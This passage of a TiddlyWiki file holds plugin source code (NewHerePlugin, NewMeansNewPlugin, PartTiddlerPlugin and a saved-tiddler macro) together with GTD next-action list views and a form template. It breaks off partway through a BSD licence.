 picker.defaultString=file;
 picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
 if (picker.show()!=nsIFilePicker.returnCancel) var result=picker.file.persistentDescriptor;
 }
 catch(e) { alert('error during local file access: '+e.toString()) }
 }
 else { // IE
 try { // XP only
 var s = new ActiveXObject('UserAccounts.CommonDialog');
 s.Filter='All files|*.*|Text files|*.txt|HTML files|*.htm;*.html|';
 s.FilterIndex=3; // default to HTML files;
 s.InitialDir=path;
 s.FileName=file;
 if (s.showOpen()) var result=s.FileName;
 }
 catch(e) { var result=prompt(msg,path+file); } // fallback for non-XP IE
 }
 return result;
}
//}}}
/***
|Name:|NewHerePlugin|
|Description:|Creates the new here and new journal macros|
|Version:|3.0a|
|Date:|27-Jun-2011|
|Source:|http://mptw.tiddlyspot.com/#NewHerePlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
merge(config.macros, {
  newHere: {
    handler: function(place,macroName,params,wikifier,paramString,tiddler) {
      wikify("<<newTiddler "+paramString+" tag:[["+tiddler.title+"]]>>",place,null,tiddler);
    }
  },
  newJournalHere: {
    handler: function(place,macroName,params,wikifier,paramString,tiddler) {
      wikify("<<newJournal "+paramString+" tag:[["+tiddler.title+"]]>>",place,null,tiddler);
    }
  }
});

//}}}
/***
|Name:|NewMeansNewPlugin|
|Description:|If 'New Tiddler' already exists then create 'New Tiddler (1)' and so on|
|Version:|1.1.1a|
|Date:|27-Jun-2011|
|Source:|http://mptw.tiddlyspot.com/empty.html#NewMeansNewPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Note: I think this should be in the core
***/
//{{{

// change this or set config.newMeansNewForJournalsToo it in MptwUuserConfigPlugin
if (config.newMeansNewForJournalsToo == undefined) config.newMeansNewForJournalsToo = true;

String.prototype.getNextFreeName = function() {
  numberRegExp = / \(([0-9]+)\)$/;
  var match = numberRegExp.exec(this);
  if (match) {
  var num = parseInt(match[1]) + 1;
    return this.replace(numberRegExp," ("+num+")");
  }
  else {
    return this + " (1)";
  }
}

config.macros.newTiddler.checkForUnsaved = function(newName) {
  var r = false;
  story.forEachTiddler(function(title,element) {
    if (title == newName)
      r = true;
  });
  return r;
}

config.macros.newTiddler.getName = function(newName) {
  while (store.getTiddler(newName) || config.macros.newTiddler.checkForUnsaved(newName))
    newName = newName.getNextFreeName();
  return newName;
}


config.macros.newTiddler.onClickNewTiddler = function()
{
  var title = this.getAttribute("newTitle");
  if(this.getAttribute("isJournal") == "true") {
    title = new Date().formatString(title.trim());
  }

  // ---- these three lines should be the only difference between this and the core onClickNewTiddler
  if (config.newMeansNewForJournalsToo || this.getAttribute("isJournal") != "true")
    title = config.macros.newTiddler.getName(title);

  var params = this.getAttribute("params");
  var tags = params ? params.split("|") : [];
  var focus = this.getAttribute("newFocus");
  var template = this.getAttribute("newTemplate");
  var customFields = this.getAttribute("customFields");
  if(!customFields && !store.isShadowTiddler(title))
    customFields = String.encodeHashMap(config.defaultCustomFields);
  story.displayTiddler(null,title,template,false,null,null);
  var tiddlerElem = story.getTiddler(title);
  if(customFields)
    story.addCustomFields(tiddlerElem,customFields);
  var text = this.getAttribute("newText");
  if(typeof text == "string")
    story.getTiddlerField(title,"text").value = text.format([title]);
  for(var t=0;t<tags.length;t++)
    story.setTiddlerTag(title,tags[t],+1);
  story.focusTiddler(title,focus);
  return false;
};

//}}}
<html><hide linebreaks>
<style> .rolodex table {border: 0px solid; background-color:#eeeff;}
.rolodex tr, .rolodex td {border: 0px solid;}
</style><span class="rolodex">
 <table>
<tr>
<td align="right"><b>Author:</b></td>
 <td colspan="3"><input name=author style="width:100%" />
</td></tr>
<tr>
<td align="right"><b>Link:</b></td>
 <td colspan="3"><input name=link style="width:100%" />
</td></tr>
<tr>
<td align="right"><b>Format:</b></td>
<td colspan="3"><input name=format style="width:100%" />
</td></tr>
<tr>
<td align="right"><b>For TW version:</b>
</td><td colspan="3"><input name=twversion type=text  width:100%;" /></td></tr>
<tr><td align="right"><b>Category:</b></td>
 <td colspan="3"><input name=category style="width:100%" />
</td></tr>
 <tr>
 <td align="right" valign="top"><b>Description:</b></td>
 <td colspan="3"><textarea name=description rows="7" cols="40" style="width:100%" ></textarea></td></tr>
</table></span> </html>
config.macros.newSavedTiddler={};
config.macros.newSavedTiddler.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	if (readOnly) {
		return false;
	}
	var p = paramString.parseParams("anon",null,true,false,false);
	var label = getParam(p,"label","NewSavedTiddler");
	var tooltip = getParam(p,"tooltip","");
	//
	// if no tooltip specified, try prompt, title, label
	//
	if (!tooltip) {
		var tPrompt = getParam(p,"prompt","");
		var title  = getParam(p,"title","");
		var label  = getParam(p,"label","");
		if (tPrompt) {
			tooltip = tPrompt;
		}
		else if (title) {
			tooltip = 'Create a ' + title;
		}
		else if (label) {
			tooltip = 'Create a ' + label;
		}
		else {
			tooltip = 'Create a new saved tiddler';
		}
	}
	var btn = createTiddlyButton(place,label,tooltip,this.onClick);
	btn.params = paramString;
	return false;
};

config.macros.newSavedTiddler.onClick = function(e) {
	var p = this.params.parseParams("anon",null,true,false,false);
	var titlePrompt = getParam(p,"prompt","");
	//
	// if no titlePrompt for the popup, try using the title or label fields
	// to personalize the prompt
	//
	if (!titlePrompt) {
		var titleT = getParam(p,"title","");
		var labelT = getParam(p,"label","");
		if (titleT) {
			titlePrompt = 'Enter name for ' + titleT + ":";
		}
		else if (labelT) {
			titlePrompt = 'Enter name for ' + labelT + ":";
		}
		else {
			// default prompt
			titlePrompt = 'Enter name for new tiddler:';
		}
	}
	var title = prompt(titlePrompt,"");
	if (title) {
		if (typeof config.macros.newTiddler.getName == "function")  {
			title = config.macros.newTiddler.getName(title); // from NewMeansNewPlugin
		}
		var text = getParam(p,"text","");
		var tags = getParam(p,"tag","");
		var fields = getParam(p,"fields","").decodeHashMap();
		tags = tags.replace(/\[\(/g,'[[');
		tags = tags.replace(/\)\]/g,']]');

                // Oveek: a fix for TiddlyWeb
                // http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/edff49f9a9e9f47b/e02cb3c4ba88f819?pli=1
                merge(fields, config.defaultCustomFields, true); 

		var tiddler = store.saveTiddler(title,title,text,config.options.txtUserName,new Date(),tags,fields);
		autoSaveChanges(null,[tiddler]);
		story.displayTiddler(this,title);
	}
	return false;
}

order:1
button:n
buttonLong:next
<<mgtdList title:'Next Actions by Contact' startTag:Action tags:'Next && !Done' view:ActionProj mode:global
	group:Contact
	gView:bold
	newButtonTags:'Action Next'
	where:tiddler.hasActiveProject()
>>
{{highlight{
<<mgtdList
	title:'Overdue Actions'
	startTag:Action
	tags:'Next && !Done'
	view:Tickler
	mode:global
        group:Context
	where:'tiddler.ticklerIsActive()&&tiddler.fields.mgtd_date'
	sort:'tickleDate'
	dontShowEmpty:yes
	ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
      >>
}}}

<<mgtdList title:'Next Actions' startTag:Action tags:'Next && !Done' view:ActionProj mode:global
	where:tiddler.hasActiveProject()
	newButtonTags:'Action Next'
	group:Context
>>
{{highlight{
<<mgtdList
	title:'Overdue Actions'
	startTag:Action
	tags:'Next && !Done'
	view:Tickler
	mode:global
        group:Context
	where:'tiddler.ticklerIsActive()&&tiddler.fields.mgtd_date'
	sort:'tickleDate'
	dontShowEmpty:yes
	ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
      >>
}}}

<<mgtdList title:'Next Actions By Priority' startTag:Action tags:'Next && !Done' view:ActionProj mode:global'' group:Priority gView:bold newButtonTags:'Action Next'>>
<<mgtdList startTag:Action tags:'Next && !Done' view:Action mode:global
	group:Project
	gView:bold
	newButtonTags:'Action Next'
	where:tiddler.hasActiveProject()
	>>
{{col{

<<dGSDList title:'Next Actions' 
	startTag:Action 
	tags:'Next && !Done' 
	view:ActionProj 
	mode:global
	group:Realm
	gView:bold
	where:tiddler.hasActiveProject()
	newButtonTags:'Action Next'
>>

}}}
{{cols2{

{{col{

<<mgtdList startTag:Action title:'Next' tags:'Next && !Done' view:ActionProj mode:global
	newButtonTags:'Action Next'
	where:tiddler.hasActiveProject()
	>>

}}}

{{col{

<<mgtdList startTag:Action title:'Waiting' tags:'[(Waiting For)] && !Done' view:ActionProj mode:global
	newButtonTags:'Action [(Waiting For)]'
	where:tiddler.hasActiveProject()
	>>

}}}

}}}
{{cols2{

{{col{

<<mgtdList startTag:Action title:'Next' tags:'Next && !Done' view:ActionProj mode:global
	group:Contact
	gView:bold
	newButtonTags:'Action Next'
	where:tiddler.hasActiveProject()
	>>

}}}

{{col{

<<mgtdList startTag:Action title:'Waiting' tags:'[(Waiting For)] && !Done' view:ActionProj mode:global
	group:Contact
	gView:bold
	newButtonTags:'Action [(Waiting For)]'
	where:tiddler.hasActiveProject()
	>>


}}}

}}}
{{highlight{
<<dGSDList
	title:'Overdue Actions'
	startTag:Action
	tags:'(Next || [[Waiting For]]) && !Done'
	view:Tickler
	mode:global
        group:Context
        gView:bold
	where:'tiddler.ticklerIsActive()&&tiddler.fields.mgtd_date'
	sort:'tickleDate'
	dontShowEmpty:yes
	ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
>>
}}}


{{cols2{

{{col{

<<dGSDList title:'Next Actions By Priority' 
	startTag:Action 
	tags:'Next && !Done' 
	view:ActionProj 
	mode:global
	group:Priority 
	gView:bold 
	newButtonTags:'Action Next'
>>
}}}
{{col{
<<dGSDList startTag:Action title:'Waiting' tags:'[(Waiting For)] && !Done' view:Action mode:global
	group:Priority
	gView:bold
	where:tiddler.hasActiveProject()
	newButtonTags:'Action [(Waiting For)]'
	>>

}}}
}}}
{{highlight{
<<dGSDList
	title:'Overdue Actions'
	startTag:Action
	tags:'Next && !Done'
	view:Tickler
	mode:global
        group:Context
	where:'tiddler.ticklerIsActive()&&tiddler.fields.mgtd_date'
	sort:'tickleDate'
	dontShowEmpty:yes
	ignoreRealm:{{config.mGTD.getOptChk('AlertsIgnoreRealm')?'yes':''}}
      >>
}}}

{{cols2{

{{col{

<<dGSDList title:'Next' 
	startTag:Action 
	tags:'Next && !Done' 
	view:Action 
	mode:global
	group:Project
	gView:bold
	newButtonTags:'Action Next'
	where:tiddler.hasActiveProject()
>>

}}}

{{col{

<<dGSDList startTag:Action title:'Waiting' tags:'[(Waiting For)] && !Done' view:Action mode:global
	group:Project
	gView:bold
	where:tiddler.hasActiveProject()
	newButtonTags:'Action [(Waiting For)]'
	>>

}}}

}}}
Non-Fiction

<<deleteAllTagged>>
<<deleteAllTagged>>

order:1
button:none
buttonLong:one time
order:2
button:on
buttonLong:ongoing

For projects with tasks (Administrative, etc.) that essentially never end, but don't demand an entire Area.
Story.prototype.coreLewcidDisplayTiddler=Story.prototype.displayTiddler ;
Story.prototype.displayTiddler =
function(srcElement,title,template,unused1,unused2,animate,slowly)
{
       var srcElement=null;
       if (document.getElementById(this.idPrefix + title))
          {story.closeTiddler(title);}
       this.coreLewcidDisplayTiddler(srcElement,title,template,unused1,unused2,animate,slowly);
       window.scrollTo(0,0);
}
These ''must'' be dealt with!

<<deleteAllTagged>>
Don't neglect these things!

<<deleteAllTagged>>
Make sure everything else is taken care of first...

<<deleteAllTagged>>
/***
|<html><a name="Top"/></html>''Name:''|PartTiddlerPlugin|
|''Version:''|1.0.10 (2011-05-23)|
|''Source:''|http://tiddlywiki.abego-software.de/#PartTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license]]|
|''CoreVersion:''|2.1.3|
|''Browser:''|Firefox 1.0.4+; InternetExplorer 6.0|
!Table of Content<html><a name="TOC"/></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Description',null, event)">Description, Syntax</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Applications',null, event)">Applications</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('LongTiddler',null, event)">Refering to Paragraphs of a Longer Tiddler</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Citation',null, event)">Citation Index</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('TableCells',null, event)">Creating "multi-line" Table Cells</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Tabs',null, event)">Creating Tabs</a></html>
** <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Sliders',null, event)">Using Sliders</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Revisions',null, event)">Revision History</a></html>
* <html><a href="javascript:;" onclick="window.scrollAnchorVisible('Code',null, event)">Code</a></html>
!Description<html><a name="Description"/></html>
With the {{{<part aPartName> ... </part>}}} feature you can structure your tiddler text into separate (named) parts. 
Each part can be referenced as a "normal" tiddler, using the "//tiddlerName//''/''//partName//" syntax (e.g. "About/Features").  E.g. you may create links to the parts (e.g. {{{[[Quotes/BAX95]]}}} or {{{[[Hobbies|AboutMe/Hobbies]]}}}), use it in {{{<<tiddler...>>}}} or {{{<<tabs...>>}}} macros etc.


''Syntax:'' 
|>|''<part'' //partName// [''hidden''] ''>'' //any tiddler content// ''</part>''|
|//partName//|The name of the part. You may reference a part tiddler with the combined tiddler name "//nameOfContainerTidder//''/''//partName//. <<br>>If you use a partName containing spaces you need to quote it (e.g. {{{"Major Overview"}}} or {{{[[Shortcut List]]}}}).|
|''hidden''|When defined the content of the part is not displayed in the container tiddler. But when the part is explicitly referenced (e.g. in a {{{<<tiddler...>>}}} macro or in a link) the part's content is displayed.|
|<html><i>any&nbsp;tiddler&nbsp;content</i></html>|<html>The content of the part.<br>A part can have any content that a "normal" tiddler may have, e.g. you may use all the formattings and macros defined.</html>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Applications<html><a name="Applications"/></html>
!!Refering to Paragraphs of a Longer Tiddler<html><a name="LongTiddler"/></html>
Assume you have written a long description in a tiddler and now you want to refer to the content of a certain paragraph in that tiddler (e.g. some definition.) Just wrap the text with a ''part'' block, give it a nice name, create a "pretty link" (like {{{[[Discussion Groups|Introduction/DiscussionGroups]]}}}) and you are done.

Notice this complements the approach to first writing a lot of small tiddlers and combine these tiddlers to one larger tiddler in a second step (e.g. using the {{{<<tiddler...>>}}} macro). Using the ''part'' feature you can first write a "classic" (longer) text that can be read "from top to bottom" and later "reuse" parts of this text for some more "non-linear" reading.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Citation Index<html><a name="Citation"/></html>
Create a tiddler "Citations" that contains your "citations". 
Wrap every citation with a part and a proper name. 

''Example''
{{{
<part BAX98>Baxter, Ira D. et al: //Clone Detection Using Abstract Syntax Trees.// 
in //Proc. ICSM//, 1998.</part>

<part BEL02>Bellon, Stefan: //Vergleich von Techniken zur Erkennung duplizierten Quellcodes.// 
Thesis, Uni Stuttgart, 2002.</part>

<part DUC99>Ducasse, Stéfane et al: //A Language Independent Approach for Detecting Duplicated Code.// 
in //Proc. ICSM//, 1999.</part>
}}}

You may now "cite" them just by using a pretty link like {{{[[Citations/BAX98]]}}} or even more pretty, like this {{{[[BAX98|Citations/BAX98]]}}}.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Creating "multi-line" Table Cells<html><a name="TableCells"/></html>
You may have noticed that it is hard to create table cells with "multi-line" content. E.g. if you want to create a bullet list inside a table cell you cannot just write the bullet list
{{{
* Item 1
* Item 2
* Item 3
}}}
into a table cell (i.e. between the | ... | bars) because every bullet item must start in a new line but all cells of a table row must be in one line.

Using the ''part'' feature this problem can be solved. Just create a hidden part that contains the cells content and use a {{{<<tiddler >>}}} macro to include its content in the table's cell.

''Example''
{{{
|!Subject|!Items|
|subject1|<<tiddler ./Cell1>>|
|subject2|<<tiddler ./Cell2>>|

<part Cell1 hidden>
* Item 1
* Item 2
* Item 3
</part>
...
}}}

Notice that inside the {{{<<tiddler ...>>}}} macro you may refer to the "current tiddler" using the ".".

BTW: The same approach can be used to create bullet lists with items that contain more than one line.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Creating Tabs<html><a name="Tabs"/></html>
The build-in {{{<<tabs ...>>}}} macro requires that you defined an additional tiddler for every tab it displays. When you want to have "nested" tabs you need to define a tiddler for the "main tab" and one for every tab it contains. I.e. the definition of a set of tabs that is visually displayed at one place is distributed across multiple tiddlers.

With the ''part'' feature you can put the complete definition in one tiddler, making it easier to keep an overview and maintain the tab sets.

''Example''
The standard tabs at the sidebar are defined by the following eight tiddlers:
* SideBarTabs
* TabAll
* TabMore
* TabMoreMissing
* TabMoreOrphans
* TabMoreShadowed
* TabTags
* TabTimeline

Instead of these eight tiddlers one could define the following SideBarTabs tiddler that uses the ''part'' feature:
{{{
<<tabs txtMainTab 
    Timeline Timeline SideBarTabs/Timeline 
    All 'All tiddlers' SideBarTabs/All 
    Tags 'All tags' SideBarTabs/Tags 
    More 'More lists' SideBarTabs/More>>
<part Timeline hidden><<timeline>></part>
<part All hidden><<list all>></part>
<part Tags hidden><<allTags>></part>
<part More hidden><<tabs txtMoreTab 
    Missing 'Missing tiddlers' SideBarTabs/Missing 
    Orphans 'Orphaned tiddlers' SideBarTabs/Orphans 
    Shadowed 'Shadowed tiddlers' SideBarTabs/Shadowed>></part>
<part Missing hidden><<list missing>></part>
<part Orphans hidden><<list orphans>></part>
<part Shadowed hidden><<list shadowed>></part>
}}}

Notice that you can easily "overwrite" individual parts in separate tiddlers that have the full name of the part.

E.g. if you don't like the classic timeline tab but only want to see the 100 most recent tiddlers you could create a tiddler "~SideBarTabs/Timeline" with the following content:
{{{
<<forEachTiddler 
		sortBy 'tiddler.modified' descending 
		write '(index < 100) ? "* [["+tiddler.title+"]]\n":""'>>
}}}
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!!Using Sliders<html><a name="Sliders"/></html>
Very similar to the build-in {{{<<tabs ...>>}}} macro (see above) the {{{<<slider ...>>}}} macro requires that you defined an additional tiddler that holds the content "to be slid". You can avoid creating this extra tiddler by using the ''part'' feature

''Example''
In a tiddler "About" we may use the slider to show some details that are documented in the tiddler's "Details" part.
{{{
...
<<slider chkAboutDetails About/Details details "Click here to see more details">>
<part Details hidden>
To give you a better overview ...
</part>
...
}}}

Notice that putting the content of the slider into the slider's tiddler also has an extra benefit: When you decide you need to edit the content of the slider you can just doubleclick the content, the tiddler opens for editing and you can directly start editing the content (in the part section). In the "old" approach you would doubleclick the tiddler, see that the slider is using tiddler X, have to look for the tiddler X and can finally open it for editing. So using the ''part'' approach results in a much short workflow.

<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Revision history<html><a name="Revisions"/></html>
* v1.0.10 (2011-05-23)
** Adapt to TW 2.6.2 default behaviour when existing tiddlers are opened (don't select text) and fixed Firefox 4 issue. Thanks to dave for reporting the issue.
* v1.0.9 (2007-07-14)
** Bugfix: Error when using the SideBarTabs example and switching between "More" and "Shadow". Thanks to cmari for reporting the issue.
* v1.0.8 (2007-06-16)
** Speeding up display of tiddlers containing multiple pard definitions. Thanks to Paco Rivière for reporting the issue.
** Support "./partName" syntax inside {{{<<tabs ...>>}}} macro
* v1.0.7 (2007-03-07)
** Bugfix: <<tiddler "./partName">> does not always render correctly after a refresh (e.g. like it happens when using the "Include" plugin). Thanks to Morris Gray for reporting the bug.
* v1.0.6 (2006-11-07)
** Bugfix: cannot edit tiddler when UploadPlugin by Bidix is installed. Thanks to José Luis González Castro for reporting the bug.
* v1.0.5 (2006-03-02)
** Bugfix: Example with multi-line table cells does not work in IE6. Thanks to Paulo Soares for reporting the bug.
* v1.0.4 (2006-02-28)
** Bugfix: Shadow tiddlers cannot be edited (in TW 2.0.6). Thanks to Torsten Vanek for reporting the bug.
* v1.0.3 (2006-02-26)
** Adapt code to newly introduced Tiddler.prototype.isReadOnly() function (in TW 2.0.6). Thanks to Paulo Soares for reporting the problem.
* v1.0.2 (2006-02-05)
** Also allow other macros than the "tiddler" macro use the "." in the part reference (to refer to "this" tiddler)
* v1.0.1 (2006-01-27)
** Added Table of Content for plugin documentation. Thanks to RichCarrillo for suggesting.
** Bugfix: newReminder plugin does not work when PartTiddler is installed. Thanks to PauloSoares for reporting.
* v1.0.0 (2006-01-25)
** initial version
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Code<html><a name="Code"/></html>
<html><sub><a href="javascript:;" onclick="window.scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>
***/
//{{{
//============================================================================
//                           PartTiddlerPlugin

// Ensure that the PartTiddler Plugin is only installed once.
//
if (!version.extensions.PartTiddlerPlugin) {



version.extensions.PartTiddlerPlugin = {
    major: 1, minor: 0, revision: 10,
    date: new Date(2011, 4, 23), 
    type: 'plugin',
    source: "http://tiddlywiki.abego-software.de/#PartTiddlerPlugin"
};

if (!window.abego) window.abego = {};
if (version.major < 2) alertAndThrow("PartTiddlerPlugin requires TiddlyWiki 2.0 or newer.");

//============================================================================
// Common Helpers

// Looks for the next newline, starting at the index-th char of text. 
//
// If there are only whitespaces between index and the newline 
// the index behind the newline is returned, 
// otherwise (or when no newline is found) index is returned.
//
var skipEmptyEndOfLine = function(text, index) {
	var re = /(\n|[^\s])/g;
	re.lastIndex = index;
	var result = re.exec(text);
	return (result && text.charAt(result.index) == '\n') 
			? result.index+1
			: index;
}


//============================================================================
// Constants

var partEndOrStartTagRE = /(<\/part>)|(<part(?:\s+)((?:[^>])+)>)/mg;
var partEndTagREString = "<\\/part>";
var partEndTagString = "</part>";

//============================================================================
// Plugin Specific Helpers

// Parse the parameters inside a <part ...> tag and return the result.
//
// @return [may be null] {partName: ..., isHidden: ...}
//
var parseStartTagParams = function(paramText) {
	var params = paramText.readMacroParams();
	if (params.length == 0 || params[0].length == 0) return null;
	
	var name = params[0];
	var paramsIndex = 1;
	var hidden = false;
	if (paramsIndex < params.length) {
		hidden = params[paramsIndex] == "hidden";
		paramsIndex++;
	}
	
	return {
		partName: name, 
		isHidden: hidden
	};
}

// Returns the match to the next (end or start) part tag in the text, 
// starting the search at startIndex.
// 
// When no such tag is found null is returned, otherwise a "Match" is returned:
// [0]: full match
// [1]: matched "end" tag (or null when no end tag match)
// [2]: matched "start" tag (or null when no start tag match)
// [3]: content of start tag (or null if no start tag match)
//
var findNextPartEndOrStartTagMatch = function(text, startIndex) {
	var re = new RegExp(partEndOrStartTagRE);
	re.lastIndex = startIndex;
	var match = re.exec(text);
	return match;
}

//============================================================================
// Formatter

// Process the <part ...> ... </part> starting at (w.source, w.matchStart) for formatting.
//
// @return true if a complete part section (including the end tag) could be processed, false otherwise.
//
var handlePartSection = function(w) {
	var tagMatch = findNextPartEndOrStartTagMatch(w.source, w.matchStart);
	if (!tagMatch) return false;
	if (tagMatch.index != w.matchStart || !tagMatch[2]) return false;

	// Parse the start tag parameters
	var arguments = parseStartTagParams(tagMatch[3]);
	if (!arguments) return false;
	
	// Continue processing
	var startTagEndIndex = skipEmptyEndOfLine(w.source, tagMatch.index + tagMatch[0].length);
	var endMatch = findNextPartEndOrStartTagMatch(w.source, startTagEndIndex);
	if (endMatch && endMatch[1]) {
		if (!arguments.isHidden) {
			w.nextMatch = startTagEndIndex;
			w.subWikify(w.output,partEndTagREString);
		}
		w.nextMatch = skipEmptyEndOfLine(w.source, endMatch.index + endMatch[0].length);
		
		return true;
	}
	return false;
}

config.formatters.push( {
    name: "part",
    match: "<part\\s+[^>]+>",
	
	handler: function(w) {
		if (!handlePartSection(w)) {
			w.outputText(w.output,w.matchStart,w.matchStart+w.matchLength);
		}
	}
} )

//============================================================================
// Extend "fetchTiddler" functionality to also recognize "part"s of tiddlers 
// as tiddlers.

var currentParent = null; // used for the "." parent (e.g. in the "tiddler" macro)

// Return the match to the first <part ...> tag of the text that has the
// requrest partName.
//
// @return [may be null]
//
var findPartStartTagByName = function(text, partName) {
	var i = 0;
	
	while (true) {
		var tagMatch = findNextPartEndOrStartTagMatch(text, i);
		if (!tagMatch) return null;

		if (tagMatch[2]) {
			// Is start tag
	
			// Check the name
			var arguments = parseStartTagParams(tagMatch[3]);
			if (arguments && arguments.partName == partName) {
				return tagMatch;
			}
		}
		i = tagMatch.index+tagMatch[0].length;
	}
}

// Return the part "partName" of the given parentTiddler as a "readOnly" Tiddler 
// object, using fullName as the Tiddler's title. 
//
// All remaining properties of the new Tiddler (tags etc.) are inherited from 
// the parentTiddler.
// 
// @return [may be null]
//
var getPart = function(parentTiddler, partName, fullName) {
	var text = parentTiddler.text;
	var startTag = findPartStartTagByName(text, partName);
	if (!startTag) return null;
	
	var endIndexOfStartTag = skipEmptyEndOfLine(text, startTag.index+startTag[0].length);
	var indexOfEndTag = text.indexOf(partEndTagString, endIndexOfStartTag);

	if (indexOfEndTag >= 0) {
		var partTiddlerText = text.substring(endIndexOfStartTag,indexOfEndTag);
		var partTiddler = new Tiddler();
		partTiddler.set(
						fullName,
						partTiddlerText,
						parentTiddler.modifier,
						parentTiddler.modified,
						parentTiddler.tags,
						parentTiddler.created);
		partTiddler.abegoIsPartTiddler = true;
		return partTiddler;
	}
	
	return null;
}

// Hijack the store.fetchTiddler to recognize the "part" addresses.
//
var hijackFetchTiddler = function() {
	var oldFetchTiddler = store.fetchTiddler ;
	store.fetchTiddler = function(title) {
		var result = oldFetchTiddler.apply(this, arguments);
		if (!result && title) {
			var i = title.lastIndexOf('/');
			if (i > 0) {
				var parentName = title.substring(0, i);
				var partName = title.substring(i+1);
				var parent = (parentName == ".") 
						? store.resolveTiddler(currentParent)
						: oldFetchTiddler.apply(this, [parentName]);
				if (parent) {
					return getPart(parent, partName, parent.title+"/"+partName);
				}
			}
		}
		return result;	
	};
};

// for debugging the plugin is not loaded through the systemConfig mechanism but via a script tag. 
// At that point in the "store" is not yet defined. In that case hijackFetchTiddler through the restart function.
// Otherwise hijack now.
if (!store) {
	var oldRestartFunc = restart;
	window.restart = function() {
		hijackFetchTiddler();
		oldRestartFunc.apply(this,arguments);
	};
} else
	hijackFetchTiddler();




// The user must not edit a readOnly/partTiddler
//

config.commands.editTiddler.oldIsReadOnlyFunction = Tiddler.prototype.isReadOnly;

Tiddler.prototype.isReadOnly = function() {
	// Tiddler.isReadOnly was introduced with TW 2.0.6.
	// For older version we explicitly check the global readOnly flag
	if (config.commands.editTiddler.oldIsReadOnlyFunction) {
		if (config.commands.editTiddler.oldIsReadOnlyFunction.apply(this, arguments)) return true;
	} else {
		if (readOnly) return true;
	}

	return this.abegoIsPartTiddler;
}

config.commands.editTiddler.handler_PartTiddlerPlugin = config.commands.editTiddler.handler;

config.commands.editTiddler.handler = function(event,src,title)
{
	var t = store.getTiddler(title);
	// Edit the tiddler if it either is not a tiddler (but a shadowTiddler)
	// or the tiddler is not readOnly
	if(!t || !t.abegoIsPartTiddler)
		{
		return config.commands.editTiddler.handler_PartTiddlerPlugin(event,src,title);
		}
	return false;
}

// To allow the "./partName" syntax in macros we need to hijack 
// the invokeMacro to define the "currentParent" while it is running.
// 
var oldInvokeMacro = window.invokeMacro;
function myInvokeMacro(place,macro,params,wikifier,tiddler) {
	var oldCurrentParent = currentParent;
	if (tiddler) currentParent = tiddler;
	try {
		oldInvokeMacro.apply(this, arguments);
	} finally {
		currentParent = oldCurrentParent;
	}
}
window.invokeMacro = myInvokeMacro;

// To correctly support the "./partName" syntax while refreshing we need to hijack 
// the config.refreshers.tiddlers to define the "currentParent" while it is running.
// 
(function() {
	var oldTiddlerRefresher= config.refreshers.tiddler;
	config.refreshers.tiddler = function(e,changeList) {
		var oldCurrentParent = currentParent;
		try {
			currentParent = e.getAttribute("tiddler");
			return oldTiddlerRefresher.apply(this,arguments);
		} finally {
			currentParent = oldCurrentParent;
		}
	};
})();

// Scroll the anchor anchorName in the viewer of the given tiddler visible.
// When no tiddler is defined use the tiddler of the target given event is used.
window.scrollAnchorVisible = function(anchorName, tiddler, evt) {
	var tiddlerElem = null;
	if (tiddler) {
		tiddlerElem = document.getElementById(story.idPrefix + tiddler);
	}
	if (!tiddlerElem && evt) {
		var target = resolveTarget(evt);
		tiddlerElem = story.findContainingTiddler(target);
	}
	if (!tiddlerElem) return;

	var children = tiddlerElem.getElementsByTagName("a");
	for (var i = 0; i < children.length; i++) {
		var child = children[i];
		var name = child.getAttribute("name");
		if (name == anchorName) {
			var y = findPosY(child);
			window.scrollTo(0,y);
			return;
		}
	}
}

} // of "install only once"
//}}}

/***
<html><sub><a href="javascript:;" onclick="scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>

!Licence and Copyright
Copyright (c) abego Software ~GmbH, 2011 ([[www.abego-software.de|http://www.abego-software.de]])

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.

Neither the name of abego Software nor the names of its contributors may be
used to endorse or promote products derived from this software without specific
prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
